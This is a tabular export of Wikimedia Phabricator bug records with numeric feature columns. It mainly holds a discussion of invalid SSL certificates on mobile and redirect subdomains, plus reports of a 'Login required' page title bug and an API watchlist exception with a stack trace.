177530,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,All of the content served from the WMF cluster is under the Creative Commons Attribution-ShareAlike License.  I'll ask Legal if you've raised any new concerns here.,,,1337184437,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-67,True,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,27.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,21.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.212121212121212,0.9090909090909091,All of the content served from the WMF cluster is under the Creative Commons Attribution-ShareAlike License.  I'll ask Legal if you've raised any new concerns here.
38126,*.mobile.wikipedia.org domains are using invalid SSL certificate,"See https://en.mobile.wikipedia.org.

*.mobile.wikipedia.org should be added to domain list or these domain name should be disused.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1334933880,1418225022.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-jgky3imn5cfbt4cweamz,task_description,declined,True,c2,1,False,False,False,-71,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.324324324324325,0.6216216216216216,"See URL

*.mobile.wikipedia.org should be added to domain list or these domain name should be disused.

--------------------------
**Version**: unspecified
**Severity**: normal"
340368,*.mobile.wikipedia.org domains are using invalid SSL certificate,">>! In T38126#831983, @BBlack wrote:
> (I should have said above: an alternative to path-based is just to make sure that they're in one of the supported primary domains from our SSL list and that the hostname is only one level deep.  For example, arbcom.nl.wikipedia.org could become arbcom-nl.wikipedia.org)

@BBlack While some may have been missed, I think this was done this last year. Focus was to rid all deep-subdomains except for `*.m.*`. http://arbcom.nl.wikipedia.org, for example, has already been renamed to https://arbcom-nl.wikipedia.org, and http://pa.us.wikimedia.org to https://pa-us.wikimedia.org/.",,,1418224992,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,67,True,4.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,4.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,23.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,15.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.74468085106383,0.723404255319149,"QUOTE
QUOTE
SCREEN_NAME While some may have been missed, I think this was done this last year. Focus was to rid all deep-subdomains except for CODE. URL for example, has already been renamed to URL and URL to URL"
339584,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(I should have said above: an alternative to path-based is just to make sure that they're in one of the supported primary domains from our SSL list and that the hostname is only one level deep.  For example, arbcom.nl.wikipedia.org could become arbcom-nl.wikipedia.org)",,,1418077810,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,6.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,6.0,16.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.470588235294118,0.9019607843137255,"(I should have said above: an alternative to path-based is just to make sure that they're in one of the supported primary domains from our SSL list and that the hostname is only one level deep.  For example, arbcom.nl.wikipedia.org could become arbcom-nl.wikipedia.org)"
339579,*.mobile.wikipedia.org domains are using invalid SSL certificate,"So, just to be technically-explicit, these are the wildcard domains we have valid certs for:

*.m.wikipedia.org
*.wikipedia.org
*.m.wikimedia.org
*.wikimedia.org
*.m.wiktionary.org
*.wiktionary.org
*.m.wikiquote.org
*.wikiquote.org
*.m.wikibooks.org
*.wikibooks.org
*.m.wikisource.org
*.wikisource.org
*.m.wikinews.org
*.wikinews.org
*.m.wikiversity.org
*.wikiversity.org
*.m.wikidata.org
*.wikidata.org
*.m.wikivoyage.org
*.wikivoyage.org
*.m.wikimediafoundation.org
*.wikimediafoundation.org
*.m.mediawiki.org
*.mediawiki.org
*.zero.wikipedia.org

Note that for the purposes of certificate wildcards, the asterisk only covers a single name rather than arbitrarily-deep subdomains, which is why we have separate *.m certs for every domain except zero.  Certificates are costly, which is why we don't buy infinite/random certificates for every domain/subdomain we can dream up.  So yes, in a policy sense, we're not going to have valid SSL certs for those other domains, including the long list of things like typo-redirect domains.

What I'm a little concerned about in all of this, though, is that we need to be sure that we're consistent about which domains are official and which are redirects without SSL support, and we need to be sure that we're not generating or emitting links to the public that reference the the redirect-only domains.  That may sort-of work now, but as we keep moving forward with more-aggressive SSL support (which will probably someday culminate in all traffic being SSL-protected and HSTS), that will become a very bad experience for users who might have to accept mismatched certs to follow a link that ultimately came from us.  This may require rethinking some of these microsite URLs in some cases, to make them path-based rather than hostname-based.  At the very least, we need to be sure that if we are generating links to these hostnames, that the links aren't HTTPS (although even that may become an issue down the road).",,,1418077455,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,1.5,0.0,0.5,0.0,1.0,6.0,1.75,0.0,0.5,0.25,1.25,1.5,0.0,0.5,0.0,3.5,0.75,6.25,11.5,0.0,2.0,0.0,0.0,0.25,0.25,0.0,0.25,0.0,1.25,0.5,0.25,5.5,1.0,0.0,0.0,0.0,0.0,0.75,0.5,0.5,0.0,0.25,0.25,0.0,0.0,1.25,0.0,0.5,0.5,12.75,1.5,1.0,1.25,0.5,0.0,0.0,0.75,0.0,0.5,0.25,0.0,1.0,0.0,0.0,0.0,0.75,0.0,4.0,3.5,4.0,2.75,1.25,8.75,0.0,0.0,0.0,0.0,4.5,0.25,0.25,0.0,3.75,11.5,9.25,0.0,0.0,0.0,3.75,0.0,3.0,1.5,0.5,1.75,0.25,0.25,0.0,4.384967389017462,0.6463549337260678,"So, just to be technically-explicit, these are the wildcard domains we have valid certs for:

*.m.wikipedia.org
*.wikipedia.org
*.m.wikimedia.org
*.wikimedia.org
*.m.wiktionary.org
*.wiktionary.org
*.m.wikiquote.org
*.wikiquote.org
*.m.wikibooks.org
*.wikibooks.org
*.m.wikisource.org
*.wikisource.org
*.m.wikinews.org
*.wikinews.org
*.m.wikiversity.org
*.wikiversity.org
*.m.wikidata.org
*.wikidata.org
*.m.wikivoyage.org
*.wikivoyage.org
*.m.wikimediafoundation.org
*.wikimediafoundation.org
*.m.mediawiki.org
*.mediawiki.org
*.zero.wikipedia.org

Note that for the purposes of certificate wildcards, the asterisk only covers a single name rather than arbitrarily-deep subdomains, which is why we have separate *.m certs for every domain except zero.  Certificates are costly, which is why we don't buy infinite/random certificates for every domain/subdomain we can dream up.  So yes, in a policy sense, we're not going to have valid SSL certs for those other domains, including the long list of things like typo-redirect domains.

What I'm a little concerned about in all of this, though, is that we need to be sure that we're consistent about which domains are official and which are redirects without SSL support, and we need to be sure that we're not generating or emitting links to the public that reference the the redirect-only domains.  That may sort-of work now, but as we keep moving forward with more-aggressive SSL support (which will probably someday culminate in all traffic being SSL-protected and HSTS), that will become a very bad experience for users who might have to accept mismatched certs to follow a link that ultimately came from us.  This may require rethinking some of these microsite URLs in some cases, to make them path-based rather than hostname-based.  At the very least, we need to be sure that if we are generating links to these hostnames, that the links aren't HTTPS (although even that may become an issue down the road)."
339515,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Afaik operations' policy is to not support SSL certificates for redirect domains. They work fine over HTTP, but HTTPS will yield a warning.

This applies to:


* http://wikimediacommons.org https://wikimediacommons.org
* http://wikipedia.com https://wikipedia.com
* http://wikimedia.com https://wikimedia.com
* http://wikijunior.com https://wikijunior.com
* http://pa.us.wikimedia.org https://pa.us.wikimedia.org
* http://arbcom.en.wikipedia.org https://arbcom.nl.wikipedia.org
* http://arbcom.nl.wikipedia.org https://arbcom.nl.wikipedia.org
* http://noboard.chapters.wikimedia.org https://noboard.chapters.wikimedia.org/

And many more ([[ https://github.com/wikimedia/operations-puppet/blob/deae97622d78b3b1d80fbf81a06a25c810d70eec/modules/mediawiki/files/apache/sites/redirects/redirects.dat | operations-puppet:/apache/sites/redirects.dat ]]).

And thus http://en.mobile.wikipedia.org / https://en.mobile.wikipedia.org as well.",,,1418068877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,29.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,3.129032258064516,0.5376344086021505,"Afaik operations' policy is to not support SSL certificates for redirect domains. They work fine over HTTP, but HTTPS will yield a warning.

This applies to:


* URL URL
* URL URL
* URL URL
* URL URL
* URL URL
* URL URL
* URL URL
* URL URL

And many more ([[ URL | operations-puppet:/apache/sites/redirects.dat ]]).

And thus URL / URL as well."
177666,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #8)
> No they still exist as redirects, and are still serving invalid certificates
> for HTTPS.

What do you think about removing (killing) the redirects?",,,1385360955,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4583333333333335,0.875,"(In reply to comment #8)
QUOTE
QUOTE

What do you think about removing (killing) the redirects?"
177665,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #7)
> It seems to me that this bug can be closed as wontfix as the mobile
> subdomains
> have been decommissioned.

No they still exist as redirects, and are still serving invalid certificates for HTTPS.",,,1385218341,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6774193548387095,0.8387096774193549,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE

No they still exist as redirects, and are still serving invalid certificates for HTTPS."
177663,*.mobile.wikipedia.org domains are using invalid SSL certificate,It seems to me that this bug can be closed as wontfix as the mobile subdomains have been decommissioned.,,,1385217350,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.3,0.95,It seems to me that this bug can be closed as wontfix as the mobile subdomains have been decommissioned.
177659,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Comment by CT Woo on RT ticket which is closed as rejected:
""We have *.m.wikimepia.org.
We do not use mobile.wikipedia.org.""",,,1374776749,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,18.0,0.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8214285714285716,0.8571428571428571,"Comment by CT Woo on RT ticket which is closed as rejected:
""We have *.m.wikimepia.org.
We do not use mobile.wikipedia.org."""
177654,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #2)
> *.mobile.wikipedia.org

That one is NOT used according to the RT ticket.",,,1350679570,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0454545454545454,0.9545454545454546,"(In reply to comment #2)
QUOTE

That one is NOT used according to the RT ticket."
177650,*.mobile.wikipedia.org domains are using invalid SSL certificate,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536947,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,6.222222222222222,1.0,Removing dependency to bug 27946 which is secure.wikimedia.org.
177646,*.mobile.wikipedia.org domains are using invalid SSL certificate,*** Bug 38434 has been marked as a duplicate of this bug. ***,,,1342536842,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 38434 has been marked as a duplicate of this bug. ***
177642,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Affected domains:

*.mobile.wikipedia.org
*.m.wiktionary.org (from bug 38434)",,,1342536756,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.214285714285714,0.9285714285714286,"Affected domains:

*.mobile.wikipedia.org
*.m.wiktionary.org (from bug 38434)"
177635,*.mobile.wikipedia.org domains are using invalid SSL certificate,https://rt.wikimedia.org/Ticket/Display.html?id=3275,,,1342510033,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
38055,"""Login required"" page has bad ""Retrieved from""","https://office.wikimedia.org/wiki/A outputs Retrieved from "" http://office.wikimedia.org/wiki/Special:Badtitle "" but I cannot get this Login required page from the given URL. (Instead I get a Bad title error page)

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1334718180,1566438952.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-ilk3nopl66nufkd26tee,False,PHID-TASK-r5i5kg3a3flk53c5nmhb,task_description,invalid,True,c2,1,False,False,False,-71,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.693877551020408,0.673469387755102,"URL outputs Retrieved from "" URL "" but I cannot get this Login required page from the given URL. (Instead I get a Bad title error page)

--------------------------
**Version**: unspecified
**Severity**: normal"
1338478,"""Login required"" page has bad ""Retrieved from""",For me it just retrieves the content of the main page - if this is still an issue please reopen,,,1566438952,,PHID-USER-ilk3nopl66nufkd26tee,False,,,PHID-TASK-r5i5kg3a3flk53c5nmhb,task_subcomment,,True,c2,3,True,,,312,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,5.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.8,0.95,For me it just retrieves the content of the main page - if this is still an issue please reopen
37797,Showing loginfo for watchlist causes an error,"The query

https://en.wikipedia.org/w/api.php?action=query&list=watchlist&wlprop=loginfo&wllimit=max

shows the following output for me:

<?xml version=""1.0""?>
<api servedby=""srv265"">
  <error code=""internal_api_error_MWException"" info=""Exception Caught: Internal error in ApiResult::setIndexedTagName: Bad parameter"" xml:space=""preserve"">

#0 /usr/local/apache/common-local/php-1.19/includes/api/ApiBase.php(1300): wfDebugDieBacktrace('Internal error ...')
#1 /usr/local/apache/common-local/php-1.19/includes/api/ApiResult.php(197): ApiBase::dieDebug('ApiResult::setI...', 'Bad parameter')
#2 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryLogEvents.php(264): ApiResult->setIndexedTagName('???[edit=autoco...', 'param')
#3 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(306): ApiQueryLogEvents::addLogParams(Object(ApiResult), Array, '???[edit=autoco...', 'protect', 'protect', '20120403012329')
#4 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(201): ApiQueryWatchlist->extractRowInfo(Object(stdClass))
#5 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(40): ApiQueryWatchlist->run()
#6 /usr/local/apache/common-local/php-1.19/includes/api/ApiQuery.php(266): ApiQueryWatchlist->execute()
#7 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(705): ApiQuery->execute()
#8 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(360): ApiMain->executeAction()
#9 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(344): ApiMain->executeActionWithErrorHandling()
#10 /usr/local/apache/common-local/php-1.19/api.php(117): ApiMain->execute()
#11 /usr/local/apache/common-local/live-1.5/api.php(3): require('/usr/local/apac...')
#12 {main}

</error>
</api>

It seems to happen when a watchlist entry refers to a protection, but not when it's an edit or a move.

I can replicate the error on my local wiki (although without the stack trace) that runs from master. And showing the same protection using list=recentchanges works fine.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1333820040,1334481929.0,PHID-USER-mudnorfjyidux4wazb7q,False,,False,PHID-TASK-7yqseawa7ft3aajkko2a,task_description,resolved,True,c2,1,False,False,True,-73,True,0.0,0.0,0.0,0.0,0.2,9.4,0.0,0.0,0.2,0.0,0.2,3.2,0.0,0.0,0.0,0.6,0.0,0.6,1.8,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.2,3.0,0.4,0.4,0.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,1.2,0.0,0.0,0.0,0.0,0.0,15.2,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,2.0,0.0,6.6,0.6,0.6,2.0,0.0,0.0,0.0,2.6,1.0,0.0,5.4,0.0,1.0,1.8,4.0,1.0,4.2,0.0,1.0,0.0,0.6,0.8,0.2,0.6,0.0,0.0,2.8,4.205563347358579,0.44310425432445066,"The query

URL

shows the following output for me:

<?xml version=""1.0""?>
<api servedby=""srv265"">
  <error code=""internal_api_error_MWException"" info=""Exception Caught: Internal error in ApiResult::setIndexedTagName: Bad parameter"" xml:space=""preserve"">

#0 /usr/local/apache/common-local/php-1.19/includes/api/ApiBase.php(1300): wfDebugDieBacktrace('Internal error ...')
#1 /usr/local/apache/common-local/php-1.19/includes/api/ApiResult.php(197): ApiBase::dieDebug('ApiResult::setI...', 'Bad parameter')
#2 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryLogEvents.php(264): ApiResult->setIndexedTagName('???[edit=autoco...', 'param')
#3 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(306): ApiQueryLogEvents::addLogParams(Object(ApiResult), Array, '???[edit=autoco...', 'protect', 'protect', '20120403012329')
#4 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(201): ApiQueryWatchlist->extractRowInfo(Object(stdClass))
#5 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(40): ApiQueryWatchlist->run()
#6 /usr/local/apache/common-local/php-1.19/includes/api/ApiQuery.php(266): ApiQueryWatchlist->execute()
#7 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(705): ApiQuery->execute()
#8 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(360): ApiMain->executeAction()
#9 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(344): ApiMain->executeActionWithErrorHandling()
#10 /usr/local/apache/common-local/php-1.19/api.php(117): ApiMain->execute()
#11 /usr/local/apache/common-local/live-1.5/api.php(3): require('/usr/local/apac...')
#12 {main}

</error>
</api>

It seems to happen when a watchlist entry refers to a protection, but not when it's an edit or a move.

